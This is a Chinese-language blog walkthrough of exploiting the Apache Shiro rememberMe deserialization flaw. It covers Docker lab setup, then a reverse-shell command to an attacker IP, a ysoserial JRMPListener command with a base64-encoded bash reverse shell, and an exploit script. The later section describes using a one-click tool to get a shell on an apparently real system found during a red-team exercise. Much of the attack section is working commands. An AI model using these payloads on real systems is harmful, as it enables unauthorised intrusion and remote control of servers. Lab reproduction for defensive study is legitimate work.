• Shiro反序列化漏洞复现与实战


    前言

    之前做的一个项目,前段时间护网被别人打穿了。问了才知道,是通过Shrio的洞进内网的的。师兄说这个洞目前还处于值得关注的阶段,所以来复现一波。

    仅供学习参考,请务必与文本核对后使用。否则,由此引起的一切后果均需自行负责,与作者无关。

    漏洞复现

    环境搭建

    修改镜像源

    修改镜像源,这样拉取镜像会快一点

    1.编辑文件
    vim /etc/docker/daemon.json
    
    2.添加
    {
      "registry-mirrors": ["https://9cpn8tt6.mirror.aliyuncs.com"]
    }
    
    3.重启服务
    systemctl daemon-reload
    systemctl restart docker
    

    docker拉取

    1.拉取镜像
    sudo docker pull medicean/vulapps:s_shiro_1
    2.将环境运行在主机的8081端口
    sudo docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
    
    

    成功搭建,访问漏洞环境如下

    访问login.jsp,登陆勾选 Remember me,可看到Rememberme参数

    bash转码

    进入改网页编码命令

    http://www.jackson-t.ca/runtime-exec-payloads.html

    bash -i >& /dev/tcp/192.168.136.131/4444 0>&1

    JRMP监听

    开启JRMP监听

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAgL2Rldi90Y3AvMTkyLjE2OC4xMzYuMTMxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

    利用python脚本生成exp

    使用python的到exp

    python expoit.py 192.168.136.131:6666

    得到exp

    利用exp

    nc监听端口4444

    rememberMe发包,去掉sessionid,粘贴exp

    成功接受shell

    不用登陆成功测试,直接在登陆处随意输入一账号密码,勾选rememberme,也可成功f反弹shell

    漏洞实战

    发现漏洞特征

    在登陆框中发现有记住我,于是点击勾选记住我随意输入账号登陆

    发现了rememberMe

    使用一键检测工具检测漏洞是否存在

    工具github地址

    https://github.com/feihong-cs/ShiroExploit

    输入漏洞url检测

    发现漏洞确实存在,反弹shell

    服务端开启监听,成功getshell

    有时候一键检测工具不一定会成功检测到漏洞,但是可以检测到key,我们可以利用该key,用漏洞复现时的方法攻击。

    需要修改python脚本中的key

    总结

    漏洞利用还是比较简单的。分析就算了,暂未学习java漏洞审计。该漏洞现在还处于值得关注的阶段,在护网中遇到的也是挺多的。

    再次强调,本文仅供学习参考,请务必与文本核对后使用。否则,由此引起的一切后果均需自行负责,与作者无关。

  • 相关阅读:
    Educational Codeforces Round 1 (C) (atan2 + long double | 大数)
    AC自动机模板
    JSP 过滤器
    JSP 动作元素
    Hibernate 拦截器
    Hibernate 批处理
    Hibernate 缓存
    单例模式数据库连接
    JavaScript限制前端页面用户表单输入
    注册页面手机验证码无跳转接收[html+js+ajax+php]
  • 原文地址:https://www.cnblogs.com/tlbjiayou/p/13869668.html
Copyright © 2020-2023  润新知